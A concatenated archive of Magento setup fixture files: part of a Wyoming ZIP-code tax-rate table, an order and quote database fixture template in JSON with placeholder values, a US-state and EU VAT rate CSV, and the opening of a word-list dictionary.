US-WY-82242,US,WY,82242,6,,,, US-WY-82243,US,WY,82243,5.25,,,, US-WY-82244,US,WY,82244,5.25,,,, US-WY-82301,US,WY,82301,6,,,, US-WY-82310,US,WY,82310,6,,,, US-WY-82321,US,WY,82321,6,,,, US-WY-82322,US,WY,82322,6,,,, US-WY-82323,US,WY,82323,6,,,, US-WY-82324,US,WY,82324,6,,,, US-WY-82325,US,WY,82325,6,,,, US-WY-82327,US,WY,82327,6,,,, US-WY-82329,US,WY,82329,6,,,, US-WY-82331,US,WY,82331,6,,,, US-WY-82332,US,WY,82332,6,,,, US-WY-82334,US,WY,82334,6,,,, US-WY-82335,US,WY,82335,6,,,, US-WY-82336,US,WY,82336,6,,,, US-WY-82401,US,WY,82401,5,,,, US-WY-82410,US,WY,82410,5,,,, US-WY-82411,US,WY,82411,5,,,, US-WY-82412,US,WY,82412,5,,,, US-WY-82414,US,WY,82414,4,,,, US-WY-82420,US,WY,82420,5,,,, US-WY-82421,US,WY,82421,5,,,, US-WY-82422,US,WY,82422,5,,,, US-WY-82423,US,WY,82423,4,,,, US-WY-82426,US,WY,82426,5,,,, US-WY-82428,US,WY,82428,5,,,, US-WY-82430,US,WY,82430,5,,,, US-WY-82431,US,WY,82431,5,,,, US-WY-82432,US,WY,82432,5,,,, US-WY-82433,US,WY,82433,4,,,, US-WY-82434,US,WY,82434,5,,,, US-WY-82435,US,WY,82435,4,,,, US-WY-82440,US,WY,82440,4,,,, US-WY-82441,US,WY,82441,5,,,, US-WY-82442,US,WY,82442,5,,,, US-WY-82443,US,WY,82443,5,,,, US-WY-82450,US,WY,82450,4,,,, US-WY-82501,US,WY,82501,5,,,, US-WY-82510,US,WY,82510,5,,,, US-WY-82512,US,WY,82512,5,,,, US-WY-82513,US,WY,82513,5,,,, US-WY-82514,US,WY,82514,5,,,, US-WY-82515,US,WY,82515,5,,,, US-WY-82516,US,WY,82516,5,,,, US-WY-82520,US,WY,82520,5,,,, US-WY-82523,US,WY,82523,5,,,, US-WY-82524,US,WY,82524,5,,,, US-WY-82601,US,WY,82601,5,,,, US-WY-82602,US,WY,82602,5,,,, US-WY-82604,US,WY,82604,5,,,, US-WY-82605,US,WY,82605,5,,,, US-WY-82609,US,WY,82609,5,,,, US-WY-82620,US,WY,82620,5,,,, US-WY-82630,US,WY,82630,5,,,, US-WY-82633,US,WY,82633,6,,,, US-WY-82635,US,WY,82635,5,,,, US-WY-82636,US,WY,82636,5,,,, US-WY-82637,US,WY,82637,6,,,, US-WY-82638,US,WY,82638,5,,,, US-WY-82639,US,WY,82639,5,,,, US-WY-82640,US,WY,82640,5,,,, US-WY-82642,US,WY,82642,5,,,, US-WY-82643,US,WY,82643,5,,,, US-WY-82644,US,WY,82644,5,,,, US-WY-82646,US,WY,82646,5,,,, US-WY-82648,US,WY,82648,5,,,, US-WY-82649,US,WY,82649,5,,,, US-WY-82701,US,WY,82701,5,,,, US-WY-82710,US,WY,82710,5,,,, US-WY-82711,US,WY,82711,5,,,, US-WY-82712,US,WY,82712,5,,,, US-WY-82714,US,WY,82714,5,,,, US-WY-82715,US,WY,82715,5,,,, US-WY-82716,US,WY,82716,6,,,, US-WY-82717,US,WY,82717,6,,,, US-WY-82718,US,WY,82718,6,,,, US-WY-82720,US,WY,82720,5,,,, US-WY-82721,US,WY,82721,5,,,, US-WY-82723,US,WY,82723,5,,,, US-WY-82725,US,WY,82725,6,,,, US-WY-82727,US,WY,82727,6,,,, US-WY-82729,US,WY,82729,5,,,, US-WY-82730,US,WY,82730,5,,,, US-WY-82731,US,WY,82731,6,,,, US-WY-82732,US,WY,82732,6,,,, US-WY-82801,US,WY,82801,6,,,, US-WY-82831,US,WY,82831,6,,,, US-WY-82832,US,WY,82832,6,,,, US-WY-82833,US,WY,82833,6,,,, US-WY-82834,US,WY,82834,5,,,, US-WY-82835,US,WY,82835,6,,,, US-WY-82836,US,WY,82836,6,,,, US-WY-82837,US,WY,82837,6,,,, US-WY-82838,US,WY,82838,6,,,, US-WY-82839,US,WY,82839,6,,,, US-WY-82840,US,WY,82840,5,,,, US-WY-82842,US,WY,82842,6,,,, US-WY-82844,US,WY,82844,6,,,, US-WY-82845,US,WY,82845,6,,,, US-WY-82901,US,WY,82901,6,,,, US-WY-82902,US,WY,82902,6,,,, US-WY-82922,US,WY,82922,4,,,, US-WY-82923,US,WY,82923,4,,,, US-WY-82925,US,WY,82925,4,,,, US-WY-82930,US,WY,82930,5,,,, US-WY-82931,US,WY,82931,5,,,, US-WY-82932,US,WY,82932,6,,,, US-WY-82933,US,WY,82933,5,,,, US-WY-82934,US,WY,82934,6,,,, US-WY-82935,US,WY,82935,6,,,, US-WY-82936,US,WY,82936,5,,,, US-WY-82937,US,WY,82937,5,,,, US-WY-82938,US,WY,82938,6,,,, US-WY-82939,US,WY,82939,5,,,, US-WY-82941,US,WY,82941,4,,,, US-WY-82942,US,WY,82942,6,,,, US-WY-82943,US,WY,82943,6,,,, US-WY-82944,US,WY,82944,5,,,, US-WY-82945,US,WY,82945,6,,,, US-WY-83001,US,WY,83001,6,,,, US-WY-83002,US,WY,83002,6,,,, US-WY-83011,US,WY,83011,6,,,, US-WY-83012,US,WY,83012,6,,,, US-WY-83013,US,WY,83013,6,,,, US-WY-83014,US,WY,83014,6,,,, US-WY-83025,US,WY,83025,6,,,, US-WY-83101,US,WY,83101,5,,,, US-WY-83110,US,WY,83110,5,,,, US-WY-83111,US,WY,83111,5,,,, US-WY-83112,US,WY,83112,5,,,, US-WY-83113,US,WY,83113,4,,,, US-WY-83114,US,WY,83114,5,,,, US-WY-83115,US,WY,83115,4,,,, US-WY-83116,US,WY,83116,5,,,, US-WY-83118,US,WY,83118,5,,,, US-WY-83119,US,WY,83119,5,,,, US-WY-83120,US,WY,83120,5,,,, US-WY-83121,US,WY,83121,5,,,, US-WY-83122,US,WY,83122,5,,,, US-WY-83123,US,WY,83123,5,,,, US-WY-83124,US,WY,83124,5,,,, US-WY-83126,US,WY,83126,5,,,, US-WY-83127,US,WY,83127,5,,,, US-WY-83128,US,WY,83128,5,,,, US-WY-83414,US,WY,83414,6,,,, Magento/Setup/Fixtures/_files/orders_fixture_data.json000077700000044262151323623130017256 0ustar00{ "eav_entity_store": { "entity_store_id": "'%productStoreId%'", "entity_type_id": 5, "store_id": "'%productStoreId%'", "increment_prefix": "'%productStoreId%'", "increment_last_id": "'%orderNumber%'", "_query_suffix": " ON DUPLICATE KEY UPDATE `increment_last_id`='%orderNumber%'" }, "sales_order": { "entity_id": "'%entityId%'", "state": "'new'", "status": "'pending'", "coupon_code": "NULL", "protect_code": "'272ecb'", "shipping_description": "'Flat Rate - Fixed'", "is_virtual": 0, "store_id": "'%productStoreId%'", "customer_id": "NULL", "base_discount_amount": -1.7000, "base_discount_canceled": "NULL", "base_discount_invoiced": "NULL", "base_discount_refunded": "NULL", "base_grand_total": 25.3000, "base_shipping_amount": 10.0000, "base_shipping_canceled": "NULL", "base_shipping_invoiced": "NULL", "base_shipping_refunded": "NULL", "base_shipping_tax_amount": 0.0000, "base_shipping_tax_refunded": "NULL", "base_subtotal": 17.0000, "base_subtotal_canceled": "NULL", "base_subtotal_invoiced": "NULL", "base_subtotal_refunded": "NULL", "base_tax_amount": 0.0000, "base_tax_canceled": "NULL", "base_tax_invoiced": "NULL", "base_tax_refunded": "NULL", "base_to_global_rate": 1.0000, "base_to_order_rate": 1.0000, "base_total_canceled": "NULL", "base_total_invoiced": "NULL", "base_total_invoiced_cost": "NULL", "base_total_offline_refunded": "NULL", "base_total_online_refunded": "NULL", "base_total_paid": "NULL", "base_total_qty_ordered": "NULL", "base_total_refunded": "NULL", "discount_amount": -1.7000, "discount_canceled": "NULL", "discount_invoiced": "NULL", "discount_refunded": "NULL", "grand_total": 25.3000, "shipping_amount": 10.0000, "shipping_canceled": "NULL", "shipping_invoiced": "NULL", "shipping_refunded": "NULL", "shipping_tax_amount": 0.0000, "shipping_tax_refunded": "NULL", "store_to_base_rate": 0.0000, "store_to_order_rate": 0.0000, "subtotal": 17.0000, "subtotal_canceled": "NULL", "subtotal_invoiced": "NULL", "subtotal_refunded": "NULL", "tax_amount": 0.0000, "tax_canceled": "NULL", "tax_invoiced": "NULL", "tax_refunded": "NULL", "total_canceled": "NULL", "total_invoiced": "NULL", "total_offline_refunded": "NULL", "total_online_refunded": "NULL", "total_paid": "NULL", "total_qty_ordered": 2.0000, "total_refunded": "NULL", "can_ship_partially": "NULL", "can_ship_partially_item": "NULL", "customer_is_guest": 1, "customer_note_notify": 1, "billing_address_id": 2, "customer_group_id": 0, "edit_increment": "NULL", "email_sent": 1, "send_email": 1, "forced_shipment_with_invoice": "NULL", "payment_auth_expiration": "NULL", "quote_address_id": "NULL", "quote_id": "'%entityId%'", "shipping_address_id": 1, "adjustment_negative": "NULL", "adjustment_positive": "NULL", "base_adjustment_negative": "NULL", "base_adjustment_positive": "NULL", "base_shipping_discount_amount": "NULL", "base_subtotal_incl_tax": 17.0000, "base_total_due": 25.3000, "payment_authorization_amount": "NULL", "shipping_discount_amount": "NULL", "subtotal_incl_tax": 17.0000, "total_due": 25.3000, "weight": 2.0000, "customer_dob": "NULL", "increment_id": "'%orderNumber%'", "applied_rule_ids": "%ruleId%", "base_currency_code": "'USD'", "customer_email": "'%email%'", "customer_firstname": "NULL", "customer_lastname": "NULL", "customer_middlename": "NULL", "customer_prefix": "NULL", "customer_suffix": "NULL", "customer_taxvat": "NULL", "discount_description": "NULL", "ext_customer_id": "NULL", "ext_order_id": "NULL", "global_currency_code": "'USD'", "hold_before_state": "NULL", "hold_before_status": "NULL", "order_currency_code": "'USD'", "original_increment_id": "NULL", "relation_child_id": "NULL", "relation_child_real_id": "NULL", "relation_parent_id": "NULL", "relation_parent_real_id": "NULL", "remote_ip": "'127.0.0.1'", "shipping_method": "'flatrate_flatrate'", "store_currency_code": "'USD'", "store_name": "'%productStoreName%'", "x_forwarded_for": "NULL", "customer_note": "NULL", "created_at": "'%time%'", "updated_at": "'%time%'", "total_item_count": "'%itemsPerOrder%'", "customer_gender": "NULL", "discount_tax_compensation_amount": 0.0000, "base_discount_tax_compensation_amount": 0.0000, "shipping_discount_tax_compensation_amount": 0.0000, "base_shipping_discount_tax_compensation_amnt": "NULL", "discount_tax_compensation_invoiced": "NULL", "base_discount_tax_compensation_invoiced": "NULL", "discount_tax_compensation_refunded": "NULL", "base_discount_tax_compensation_refunded": "NULL", "shipping_incl_tax": 10.0000, "base_shipping_incl_tax": 10.0000, "coupon_rule_name": "NULL", "gift_message_id": "NULL" }, "sales_order_address": { "entity_id": "'%orderAddressId%'", "parent_id": "'%entityId%'", "customer_address_id": "NULL", "quote_address_id": "NULL", "region_id": "1", "customer_id": "NULL", "fax": "NULL", "region": "'%state%'", "postcode": "'%zip%'", "lastname": "'%lastName%'", "street": "'%address%'", "city": "'%city%'", "email": "'%email%'", "telephone": "'%phone%'", "country_id": "'%country%'", "firstname": "'%firstName%'", "address_type": "'%addressType%'", "prefix": "NULL", "middlename": "NULL", "suffix": "NULL", "company": "'%company%'", "vat_id": "NULL", "vat_is_valid": "NULL", "vat_request_id": "NULL", "vat_request_date": "NULL", "vat_request_success": "NULL" }, "sales_order_grid": { "entity_id": "'%entityId%'", "status": "'pending'", "store_id": "'%productStoreId%'", "store_name": "'%entityId%'", "customer_id": "NULL", "base_grand_total": 25.3000, "base_total_paid": "NULL", "grand_total": 25.3000, "total_paid": "NULL", "increment_id": "'%orderNumber%'", "base_currency_code": "'USD'", "order_currency_code": "'USD'", "shipping_name": "''", "billing_name": "''", "created_at": "'%time%'", "updated_at": "NULL" }, "sales_order_item": { "item_id": "'%itemId%'", "order_id": "'%entityId%'", "parent_item_id": "'%parentItemId%'", "quote_item_id": "'%itemId%'", "store_id": "'%productStoreId%'", "created_at": "'%time%'", "updated_at": "'0000-00-00 00:00:00'", "product_id": "'%productId%'", "product_type": "'%productType%'", "product_options": "'%productOptions%'", "weight": 1.0000, "is_virtual": "'0'", "sku": "'%sku%'", "name": "'%name%'", "description": "NULL", "applied_rule_ids": "'%ruleId%'", "additional_data": "NULL", "is_qty_decimal": "'0'", "no_discount": "'0'", "qty_backordered": "NULL", "qty_canceled": 0.0000, "qty_invoiced": 0.0000, "qty_ordered": 1.0000, "qty_refunded": 0.0000, "qty_shipped": 0.0000, "base_cost": "NULL", "price": 8.5000, "base_price": 8.5000, "original_price": 10.0000, "base_original_price": 10.0000, "tax_percent": 0.0000, "tax_amount": 0.0000, "base_tax_amount": 0.0000, "tax_invoiced": 0.0000, "base_tax_invoiced": 0.0000, "discount_percent": 10.0000, "discount_amount": 0.8500, "base_discount_amount": 0.8500, "discount_invoiced": 0.0000, "base_discount_invoiced": 0.0000, "amount_refunded": 0.0000, "base_amount_refunded": 0.0000, "row_total": 8.5000, "base_row_total": 8.5000, "row_invoiced": 0.0000, "base_row_invoiced": 0.0000, "row_weight": 1.0000, "base_tax_before_discount": "NULL", "tax_before_discount": "NULL", "ext_order_item_id": "NULL", "locked_do_invoice": "NULL", "locked_do_ship": "NULL", "price_incl_tax": 8.5000, "base_price_incl_tax": 8.5000, "row_total_incl_tax": 8.5000, "base_row_total_incl_tax": 8.5000, "discount_tax_compensation_amount": 0.0000, "base_discount_tax_compensation_amount": 0.0000, "discount_tax_compensation_invoiced": "NULL", "base_discount_tax_compensation_invoiced": "NULL", "discount_tax_compensation_refunded": "NULL", "base_discount_tax_compensation_refunded": "NULL", "tax_canceled": "NULL", "discount_tax_compensation_canceled": "NULL", "tax_refunded": "NULL", "base_tax_refunded": "NULL", "discount_refunded": "NULL", "base_discount_refunded": "NULL", "free_shipping": "'0'", "gift_message_id": "NULL", "gift_message_available": "NULL", "weee_tax_applied": "NULL", "weee_tax_applied_amount": "NULL", "weee_tax_applied_row_amount": "NULL", "weee_tax_disposition": "NULL", "weee_tax_row_disposition": "NULL", "base_weee_tax_applied_amount": "NULL", "base_weee_tax_applied_row_amnt": "NULL", "base_weee_tax_disposition": "NULL", "base_weee_tax_row_disposition": "NULL" }, "sales_order_payment": { "entity_id": "'%entityId%'", "parent_id": "'%entityId%'", "base_shipping_captured": "NULL", "shipping_captured": "NULL", "amount_refunded": "NULL", "base_amount_paid": "NULL", "amount_canceled": "NULL", "base_amount_authorized": "NULL", "base_amount_paid_online": "NULL", "base_amount_refunded_online": "NULL", "base_shipping_amount": 10.0000, "shipping_amount": 10.0000, "amount_paid": "NULL", "amount_authorized": "NULL", "base_amount_ordered": 25.3000, "base_shipping_refunded": "NULL", "shipping_refunded": "NULL", "base_amount_refunded": "NULL", "amount_ordered": 25.3000, "base_amount_canceled": "NULL", "quote_payment_id": "NULL", "additional_data": "NULL", "cc_exp_month": "NULL", "cc_ss_start_year": "'0'", "echeck_bank_name": "NULL", "method": "'checkmo'", "cc_debug_request_body": "NULL", "cc_secure_verify": "NULL", "protection_eligibility": "NULL", "cc_approval": "NULL", "cc_last_4": "NULL", "cc_status_description": "NULL", "echeck_type": "NULL", "cc_debug_response_serialized": "NULL", "cc_ss_start_month": "'0'", "echeck_account_type": "NULL", "last_trans_id": "NULL", "cc_cid_status": "NULL", "cc_owner": "NULL", "cc_type": "NULL", "po_number": "NULL", "cc_exp_year": "NULL", "cc_status": "NULL", "echeck_routing_number": "NULL", "account_status": "NULL", "anet_trans_method": "NULL", "cc_debug_response_body": "NULL", "cc_ss_issue": "NULL", "echeck_account_name": "NULL", "cc_avs_status": "NULL", "cc_number_enc": "NULL", "cc_trans_id": "NULL", "address_status": "NULL", "additional_information": "'{\"method_title\":\"Check \/ Money order\"}'" }, "sales_order_status_history": { "entity_id": "'%entityId%'", "parent_id": "'%entityId%'", "is_customer_notified": "1", "is_visible_on_front": "0", "comment": "NULL", "status": "'pending'", "created_at": "'%time%'", "entity_name": "'order'" }, "quote": { "entity_id": "'%entityId%'", "store_id": "'%productStoreId%'", "created_at": "'%time%'", "updated_at": "'1970-01-01 03:00:00'", "converted_at": "NULL", "is_active": 0, "is_virtual": 0, "is_multi_shipping": 0, "items_count": "'%itemsPerOrder%'", "items_qty": "'%itemsPerOrder%'", "orig_order_id": 0, "store_to_base_rate": 0.0000, "store_to_quote_rate": 0.0000, "base_currency_code": "'USD'", "store_currency_code": "'USD'", "quote_currency_code": "'USD'", "grand_total": 25.3000, "base_grand_total": 25.3000, "checkout_method": "'guest'", "customer_id": "NULL", "customer_tax_class_id": 3, "customer_group_id": 0, "customer_email": "'%email%'", "customer_prefix": "NULL", "customer_firstname": "NULL", "customer_middlename": "NULL", "customer_lastname": "NULL", "customer_suffix": "NULL", "customer_dob": "NULL", "customer_note": "NULL", "customer_note_notify": 1, "customer_is_guest": 1, "remote_ip": "'127.0.0.1'", "applied_rule_ids": "'%ruleId%'", "reserved_order_id": "NULL", "password_hash": "NULL", "coupon_code": "NULL", "global_currency_code": "'USD'", "base_to_global_rate": 1.0000, "base_to_quote_rate": 1.0000, "customer_taxvat": "NULL", "customer_gender": "NULL", "subtotal": 17.0000, "base_subtotal": 17.0000, "subtotal_with_discount": 15.3000, "base_subtotal_with_discount": 15.3000, "is_changed": 1, "trigger_recollect": 0, "ext_shipping_info": "NULL", "is_persistent": 0, "gift_message_id": "NULL", "_table": "quote", "_resource": "Magento\\Quote\\Model\\ResourceModel\\Quote" }, "quote_address": { "address_id": "'%orderAddressId%'", "quote_id": "'%entityId%'", "created_at": "'%time%'", "updated_at": "'1970-01-01 03:00:00'", "customer_id": "NULL", "save_in_address_book": 1, "customer_address_id": "NULL", "address_type": "'%addressType%'", "email": "'%email%'", "prefix": "NULL", "firstname": "'%firstName%'", "middlename": "NULL", "lastname": "'%lastName%'", "suffix": "NULL", "company": "'%company%'", "street": "'%address%'", "city": "'%city%'", "region": "'%state%'", "region_id": "1", "postcode": "'%zip%'", "country_id": "'%country%'", "telephone": "'%phone%'", "fax": "NULL", "same_as_billing": 0, "collect_shipping_rates": 0, "shipping_method": "'flatrate_flatrate'", "shipping_description": "'Flat Rate - Fixed'", "weight": 0.0000, "subtotal": 0.0000, "base_subtotal": 0.0000, "subtotal_with_discount": 0.0000, "base_subtotal_with_discount": 0.0000, "tax_amount": 0.0000, "base_tax_amount": 0.0000, "shipping_amount": 0.0000, "base_shipping_amount": 0.0000, "shipping_tax_amount": "NULL", "base_shipping_tax_amount": "NULL", "discount_amount": 0.0000, "base_discount_amount": 0.0000, "grand_total": 0.0000, "base_grand_total": 0.0000, "customer_notes": "NULL", "applied_taxes": "NULL", "discount_description": "NULL", "shipping_discount_amount": "NULL", "base_shipping_discount_amount": "NULL", "subtotal_incl_tax": 0.0000, "base_subtotal_total_incl_tax": "NULL", "discount_tax_compensation_amount": 0.0000, "base_discount_tax_compensation_amount": 0.0000, "shipping_discount_tax_compensation_amount": 0.0000, "base_shipping_discount_tax_compensation_amnt": "NULL", "shipping_incl_tax": "NULL", "base_shipping_incl_tax": "NULL", "free_shipping": 0, "vat_id": "NULL", "vat_is_valid": "NULL", "vat_request_id": "NULL", "vat_request_date": "NULL", "vat_request_success": "NULL", "gift_message_id": "NULL", "_table": "quote_address", "_resource": "Magento\\Quote\\Model\\ResourceModel\\Quote\\Address" }, "quote_payment": { "payment_id": "'%entityId%'", "quote_id": "'%entityId%'", "created_at": "'%time%'", "updated_at": "'1970-01-01 03:00:00'", "method": "'checkmo'", "cc_type": "NULL", "cc_number_enc": "NULL", "cc_last_4": "NULL", "cc_cid_enc": "NULL", "cc_owner": "NULL", "cc_exp_month": "NULL", "cc_exp_year": "0", "cc_ss_owner": "NULL", "cc_ss_start_month": "0", "cc_ss_start_year": "0", "po_number": "NULL", "additional_data": "NULL", "cc_ss_issue": "NULL", "additional_information": "NULL", "_table": "quote_payment", "_resource": "Magento\\Quote\\Model\\ResourceModel\\Quote\\Payment" }, "quote_shipping_rate": { "rate_id": "'%orderAddressId%'", "address_id": "'%orderAddressId%'", "created_at": "'%time%'", "updated_at": "'1970-01-01 03:00:00'", "carrier": "'flatrate'", "carrier_title": "'Flat Rate'", "code": "'flatrate_flatrate'", "method": "'flatrate'", "method_description": "NULL", "price": "10.0000", "error_message": "NULL", "method_title": "'Fixed'", "_table": "quote_shipping_rate", "_resource": "Magento\\Quote\\Model\\ResourceModel\\Quote\\Address\\Rate" }, "quote_item": { "item_id": "'%itemId%'", "quote_id": "'%entityId%'", "created_at": "'1970-01-01 03:00:00'", "updated_at": "'1970-01-01 03:00:00'", "product_id": "'%productId%'", "store_id": "'%productStoreId%'", "parent_item_id": "%parentItemId%", "is_virtual": "0", "sku": "'%sku%'", "name": "'%name%'", "description": "NULL", "applied_rule_ids": "'%ruleId%'", "additional_data": "NULL", "is_qty_decimal": "0", "no_discount": "0", "weight": "1.0000", "qty": "1.0000", "price": "8.5000", "base_price": "8.5000", "custom_price": "NULL", "discount_percent": "10.0000", "discount_amount": "0.8500", "base_discount_amount": "0.8500", "tax_percent": "0.0000", "tax_amount": "0.0000", "base_tax_amount": "0.0000", "row_total": "8.5000", "base_row_total": "8.5000", "row_total_with_discount": "0.0000", "row_weight": "1.0000", "product_type": "'simple'", "base_tax_before_discount": "NULL", "tax_before_discount": "NULL", "original_custom_price": "NULL", "redirect_url": "NULL", "base_cost": "NULL", "price_incl_tax": "8.5000", "base_price_incl_tax": "8.5000", "row_total_incl_tax": "8.5000", "base_row_total_incl_tax": "8.5000", "discount_tax_compensation_amount": "0.0000", "base_discount_tax_compensation_amount": "0.0000", "free_shipping": "0", "gift_message_id": "NULL", "weee_tax_applied": "NULL", "weee_tax_applied_amount": "NULL", "weee_tax_applied_row_amount": "NULL", "weee_tax_disposition": "NULL", "weee_tax_row_disposition": "NULL", "base_weee_tax_applied_amount": "NULL", "base_weee_tax_applied_row_amnt": "NULL", "base_weee_tax_disposition": "NULL", "base_weee_tax_row_disposition": "NULL", "_table": "quote_item", "_resource": "Magento\\Quote\\Model\\ResourceModel\\Quote\\Item" }, "quote_item_option": { "item_id": "'%itemId%'", "product_id": "'%productId%'", "code": "'%code%'", "value": "'%value%'", "_table": "quote_item_option", "_resource": "Magento\\Quote\\Model\\ResourceModel\\Quote\\Item\\Option" } } Magento/Setup/Fixtures/_files/tax_rates_small.csv000077700000017077151323623130016231 0ustar00"Code","Country","State","Zip/Post Code","Rate","Zip/Post is Range","Range From","Range To","default" "US-AL","US","AL","*","4","","","","" "US-AK","US","AK","*","0","","","","" "US-AZ","US","AZ","*","6.6","","","","" "US-AR","US","AR","*","6","","","","" "US-CA","US","CA","*","8.25","","","","" "US-CO","US","CO","*","2.9","","","","" "US-CT","US","CT","*","6","","","","" "US-DE","US","DE","*","0","","","","" "US-FL","US","FL","*","6","","","","" "US-GA","US","GA","*","4","","","","" "US-HI","US","HI","*","4","","","","" "US-ID","US","ID","*","6","","","","" "US-IL","US","IL","*","6.25","","","","" "US-IN","US","IN","*","7","","","","" "US-IA","US","IA","*","6","","","","" "US-KS","US","KS","*","6.3","","","","" "US-KY","US","KY","*","6","","","","" "US-LA","US","LA","*","4","","","","" "US-ME","US","ME","*","5","","","","" "US-MD","US","MD","*","6","","","","" "US-MA","US","MA","*","6.25","","","","" "US-MI","US","MI","*","6","","","","" "US-MN","US","MN","*","6.875","","","","" "US-MS","US","MS","*","7","","","","" "US-MO","US","MO","*","4.225","","","","" "US-MT","US","MT","*","0","","","","" "US-NE","US","NE","*","5.5","","","","" "US-NV","US","NV","*","6.85","","","","" "US-NH","US","NH","*","0","","","","" "US-NJ","US","NJ","*","7","","","","" "US-NM","US","NM","*","5.125","","","","" "US-NY","US","NY","*","4","","","","" "US-NC","US","NC","*","5.75","","","","" "US-ND","US","ND","*","5","","","","" "US-OH","US","OH","*","5.5","","","","" "US-OK","US","OK","*","4.5","","","","" "US-OR","US","OR","*","0","","","","" "US-PA","US","PA","*","6","","","","" "US-RI","US","RI","*","7","","","","" "US-SC","US","SC","*","6","","","","" "US-SD","US","SD","*","4","","","","" "US-TN","US","TN","*","7","","","","" "US-TX","US","TX","*","6.25","","","","" "US-UT","US","UT","*","4.7","","","","" "US-VT","US","VT","*","6","","","","" "US-VA","US","VA","*","4","","","","" "US-WA","US","WA","*","6.5","","","","" "US-WV","US","WV","*","6","","","","" "US-WI","US","WI","*","5","","","","" "US-WY","US","WY","*","4","","","","" "Austria (standard)","AT","*","","20.0000","","","","" "Austria (reduced: food / books / pharma / hotels)","AT","*","","10.0000","","","","" "Belgium (standard)","BE","*","","21.0000","","","","" "Belgium (reduced: restaurants)","BE","*","","12.0000","","","","" "Belgium (reduced: food / books/ pharma / medical / hotels)","BE","*","","6.0000","","","","" "Bulgaria (standard)","BG","*","","20.0000","","","","" "Bulgaria (reduced: hotels)","BG","*","","9.0000","","","","" "Croatia (standard)","HR","*","","25.0000","","","","" "Croatia (reduced: hotels / newspapers)","HR","*","","13.0000","","","","" "Cyprus (standard)","CY","*","","19.0000","","","","" "Cyprus (reduced: hotels)","CY","*","","9.0000","","","","" "Cyprus (reduced: food / books / pharma / medical)","CY","*","","5.0000","","","","" "Czech Republic (standard)","CZ","*","","21.0000","","","","" "Czech Republic (reduced: food / medical / pharma / hotels)","CZ","*","","15.0000","","","","" "Czech Republic (reduced: pharma / books)","CZ","*","","10.0000","","","","" "Denmark (standard)","DK","*","","25.0000","","","","" "Estonia (standard)","EE","*","","20.0000","","","","" "Estonia (reduced: books / pharma / medical / hotels)","EE","*","","9.0000","","","","" "Finland (standard)","FI","*","","24.0000","","","","" "Finland (reduced: restaurants)","FI","*","","14.0000","","","","" "Finland (reduced: books / pharma / hotels)","FI","*","","10.0000","","","","" "France (standard)","FR","*","","20.0000","","","","" "France (reduced: pharma / hotels / restaurants)","FR","*","","10.0000","","","","" "France (reduced: medicals / food / books)","FR","*","","5.5000","","","","" "France (reduced: newspapers / pharma)","FR","*","","2.1000","","","","" "Germany (standard)","DE","*","","19.0000","","","","" "Germany (reduced: food / medical / books / hotels)","DE","*","","7.0000","","","","" "Greece (standard)","GR","*","","24.0000","","","","" "Greece (reduced: food / pharma / medical)","GR","*","","13.0000","","","","" "Greece (reduced: books / hotels)","GR","*","","6.0000","","","","" "Hungary (standard)","HU","*","","27.0000","","","","" "Hungary (reduced: food / hotels)","HU","*","","18.0000","","","","" "Hungary (reduced: books / medical)","HU","*","","5.0000","","","","" "Ireland (standard)","IE","*","","23.0000","","","","" "Ireland (reduced: medical)","IE","*","","13.5000","","","","" "Ireland (reduced: newspapers / hotels / restaurants)","IE","*","","9.0000","","","","" "Ireland (reduced: food)","IE","*","","4.8000","","","","" "Ireland (free: books / medical / children clothing)","IE","*","","0.0000","","","","" "Italy (standard)","IT","*","","22.0000","","","","" "Italy (reduced: transport / hotels / restaurants)","IT","*","","10.0000","","","","" "Italy (reduced: food / medical / books)","IT","*","","4.0000","","","","" "Latvia (standard)","LV","*","","21.0000","","","","" "Latvia (reduced: books / pharma / medical / hotels)","LV","*","","12.0000","","","","" "Lithuania (standard)","LT","*","","21.0000","","","","" "Lithuania (reduced: books)","LT","*","","9.0000","","","","" "Lithuania (reduced: medical)","LT","*","","5.0000","","","","" "Luxembourg (standard)","LU","*","","17.0000","","","","" "Luxembourg (reduced: wine / advertising)","LU","*","","14.0000","","","","" "Luxembourg (reduced: bikes / domestic)","LU","*","","8.0000","","","","" "Luxembourg (reduced: food / books / pharma / medical / hotels / restaurants)","LU","*","","3.0000","","","","" "Malta (standard)","MT","*","","18.0000","","","","" "Malta (reduced: hotels)","MT","*","","7.0000","","","","" "Malta (reduced: books / medical)","MT","*","","5.0000","","","","" "Malta (reduced: food / pharma)","MT","*","","0.0000","","","","" "Netherlands (standard)","NL","*","","21.0000","","","","" "Netherlands (reduced: food / books / pharma / medical / hotels)","NL","*","","6.0000","","","","" "Poland (standard)","PL","*","","23.0000","","","","" "Poland (reduced: pharma / medical / hotels / restaurants)","PL","*","","8.0000","","","","" "Poland (reduced: food)","PL","*","","5.0000","","","","" "Portugal (standard)","PT","*","","23.0000","","","","" "Portugal (reduced: food)","PT","*","","13.0000","","","","" "Portugal (reduced: food / books / pharma / medical / hotels)","PT","*","","6.0000","","","","" "Romania (standard)","RO","*","","24.0000","","","","" "Romania (reduced: social housing)","RO","*","","5.0000","","","","" "Romania (reduced: books / pharma / medical / hotels)","RO","*","","9.0000","","","","" "Slovakia (standard)","SK","*","","20.0000","","","","" "Slovakia (reduced: books / food / medical / pharma)","SK","*","","10.0000","","","","" "Slovenia (standard)","SI","*","","22.0000","","","","" "Slovenia (reduced: food / books / pharma / medical / hotels)","SI","*","","9.5000","","","","" "Spain (standard)","ES","*","","21.0000","","","","" "Spain (reduced: medical / pharma)","ES","*","","10.0000","","","","" "Spain (reduced: food / newspapers)","ES","*","","4.0000","","","","" "Spain (Tenerife) (standard)","ES","Santa Cruz de Tenerife","","0.0000","","","","" "Spain (Las Palmas) (standard)","ES","Las Palmas","*","0.0000","","","","" "Spain (Melilla) (standard)","ES","Melilla","","0.0000","","","","" "Spain (Ceuta) (standard)","ES","Ceuta","*","0.0000","","","","" "Sweden (standard)","SE","*","","25.0000","","","","" "Sweden (reduced: food)","SE","*","","12.0000","","","","" "Sweden (reduced: books)","SE","*","","6.0000","","","","" "United Kingdom (standard)","GB","*","","20.0000","","","","" "United Kingdom (reduced: property renovations)","GB","*","","5.0000","","","","" "United Kingdom (reduced: food / books / pharma / medical)","GB","*","","0.0000","","","",""Magento/Setup/Fixtures/_files/dictionary.csv000077700000160167151323623130015213 0ustar00the of and a in to it is to was I for that you he be with on by at have are not this but had they his from she that which or we an were as do been their has would there what will all if can her said who one so up as them some when could him into its then two out time my about did your now me no other only just more these also people know any first see very new may well should like than how get way one our made got after think between many years er those go being because down yeah three good back make such on there through year over must still even take too more here own come last does oh say no going work where erm us government same man might day yes however put world over another in want as life most 